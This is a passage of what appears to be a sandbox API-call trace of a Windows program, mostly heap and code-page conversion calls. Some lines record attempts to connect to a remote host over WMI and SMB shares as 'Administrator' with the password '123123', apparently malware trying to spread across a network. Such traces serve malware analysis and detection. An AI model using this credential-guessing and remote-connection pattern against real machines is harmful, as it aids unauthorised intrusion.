¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 255 [0106.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=255, lpMultiByteStr=0x32a8d1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fýýýý", lpUsedDefaultChar=0x0) returned 255 [0106.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0106.670] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0106.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0106.670] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0106.670] GetLastError () returned 0x0 [0106.670] SetLastError (dwErrCode=0x0) [0106.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0106.670] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x272da0 [0106.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x272dc8, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0106.670] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x307210 | out: lpCharType=0x307210) returned 1 [0106.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0106.670] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0106.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272488) returned 1 [0106.670] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272488 | out: hHeap=0x230000) returned 1 [0106.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8) returned 1 [0106.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8 | out: hHeap=0x230000) returned 1 [0106.671] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3228c0) returned 1 [0106.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3228c0 | out: hHeap=0x230000) returned 1 [0106.671] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3123b0) returned 1 [0106.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3123b0 | out: hHeap=0x230000) returned 1 [0106.671] GetLastError () returned 0x0 [0106.671] SetLastError (dwErrCode=0x0) [0106.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x1d15f89c) returned 27 [0106.671] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x43) returned 0x312e80 [0106.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x312ea4, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x1d15f89c) returned 27 [0106.671] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfa0) returned 1 [0106.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfa0 | out: hHeap=0x230000) returned 1 [0106.671] GetLastError () returned 0x0 [0106.671] SetLastError (dwErrCode=0x0) [0106.671] GetLastError () returned 0x0 [0106.671] SetLastError (dwErrCode=0x0) [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb8, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb9, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdba, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbb, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbc, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbd, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbe, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbf, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc0, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc1, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0106.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc2, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc3, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc4, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0106.672] GetLastError () returned 0x0 [0106.672] SetLastError (dwErrCode=0x0) [0106.672] GetLastError () returned 0x0 [0106.672] SetLastError (dwErrCode=0x0) [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dc, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dd, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4de, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4df, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e0, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e1, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e2, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e3, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e4, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e5, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e6, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e7, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e8, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0106.672] GetLastError () returned 0x0 [0106.672] SetLastError (dwErrCode=0x0) [0106.672] GetLastError () returned 0x0 [0106.672] SetLastError (dwErrCode=0x0) [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705514, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705515, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705516, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="3") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705517, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705518, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x705519, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="3") returned 1 [0106.672] GetLastError () returned 0x0 [0106.672] SetLastError (dwErrCode=0x0) [0106.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0106.673] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x3123b0 [0106.673] GetLastError () returned 0x0 [0106.673] SetLastError (dwErrCode=0x0) [0106.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x3123d0, cchWideChar=2 | out: lpWideCharStr="C") returned 2 [0106.673] GetLastError () returned 0x0 [0106.673] SetLastError (dwErrCode=0x0) [0106.673] GetLastError () returned 0x0 [0106.673] SetLastError (dwErrCode=0x0) [0106.673] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x3228c0 [0106.673] GetLastError () returned 0x0 [0106.673] SetLastError (dwErrCode=0x0) [0106.673] GetLastError () returned 0x0 [0106.673] SetLastError (dwErrCode=0x0) [0106.673] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2ddfa0 [0106.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0) returned 1 [0106.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0x230000) returned 1 [0106.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300) returned 1 [0106.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300 | out: hHeap=0x230000) returned 1 [0106.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830) returned 1 [0106.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830 | out: hHeap=0x230000) returned 1 [0106.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3123e0) returned 1 [0106.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3123e0 | out: hHeap=0x230000) returned 1 [0106.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ead78) returned 1 [0106.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ead78 | out: hHeap=0x230000) returned 1 [0106.674] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50) returned 1 [0106.674] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50 | out: hHeap=0x230000) returned 1 [0106.674] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30) returned 1 [0106.674] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30 | out: hHeap=0x230000) returned 1 [0106.674] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3123b0) returned 1 [0106.674] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3123b0 | out: hHeap=0x230000) returned 1 [0106.674] GetLastError () returned 0x0 [0106.674] SetLastError (dwErrCode=0x0) [0106.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x26ae50 [0106.674] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80) returned 1 [0106.674] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80 | out: hHeap=0x230000) returned 1 [0106.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2684f8 [0106.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26ae18 [0106.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26ad00 [0106.674] WbemLocator:IWbemLocator:ConnectServer (in: This=0xdf40828, strNetworkResource="\\\\192.168.0.171\\root\\cimv2", strUser="Administrator", strPassword="123123", strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1d15fa0c | out: ppNamespace=0x1d15fa0c*=0x0) returned 0x80070005 [0107.203] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ad00) returned 1 [0107.203] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ad00 | out: hHeap=0x230000) returned 1 [0107.203] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae18) returned 1 [0107.203] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae18 | out: hHeap=0x230000) returned 1 [0107.204] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8) returned 1 [0107.204] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8 | out: hHeap=0x230000) returned 1 [0107.204] WbemLocator:IUnknown:Release (This=0xdf40828) returned 0x0 [0107.204] CoUninitialize () [0107.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x26ae88 [0107.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x26ae18 [0107.958] WNetAddConnection2A (lpNetResource=0x1d15fcb4*(dwScope=0x1, dwType=0x0, dwDisplayType=0x9, dwUsage=0x0, lpLocalName=0x0, lpRemoteName="\\\\192.168.0.171", lpComment=0x0, lpProvider=0x0), lpPassword="123123", lpUserName="Administrator", dwFlags=0x1) returned 0x52e [0110.064] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae18) returned 1 [0110.064] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae18 | out: hHeap=0x230000) returned 1 [0110.064] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae88) returned 1 [0110.064] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae88 | out: hHeap=0x230000) returned 1 [0110.064] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0110.064] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0110.127] CoCreateInstance (in: rclsid=0x492500*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x492430*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d15fa08 | out: ppv=0x1d15fa08*=0xfc60828) returned 0x0 [0110.144] GetLastError () returned 0x0 [0110.144] SetLastError (dwErrCode=0x0) [0110.144] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x3122f0 [0110.144] GetLastError () returned 0x0 [0110.144] SetLastError (dwErrCode=0x0) [0110.144] GetLastError () returned 0x0 [0110.144] SetLastError (dwErrCode=0x0) [0110.144] GetLastError () returned 0x0 [0110.144] SetLastError (dwErrCode=0x0) [0110.144] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x301d30 [0110.144] GetLastError () returned 0x0 [0110.145] SetLastError (dwErrCode=0x0) [0110.145] GetLastError () returned 0x0 [0110.145] SetLastError (dwErrCode=0x0) [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x214e4b20 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26a600 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x3123e0 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x324) returned 0x3070f0 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x31e300 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x32a830 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x125) returned 0x272488 [0110.145] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1d15f2cc | out: lpCPInfo=0x1d15f2cc) returned 1 [0110.145] GetLastError () returned 0x0 [0110.145] SetLastError (dwErrCode=0x0) [0110.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0110.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0110.145] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0110.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0110.146] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 255 [0110.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=255, lpMultiByteStr=0x31e3a1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýýýý", lpUsedDefaultChar=0x0) returned 255 [0110.146] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0110.146] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0110.146] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0110.146] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0110.146] GetLastError () returned 0x0 [0110.146] SetLastError (dwErrCode=0x0) [0110.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0110.146] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0110.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 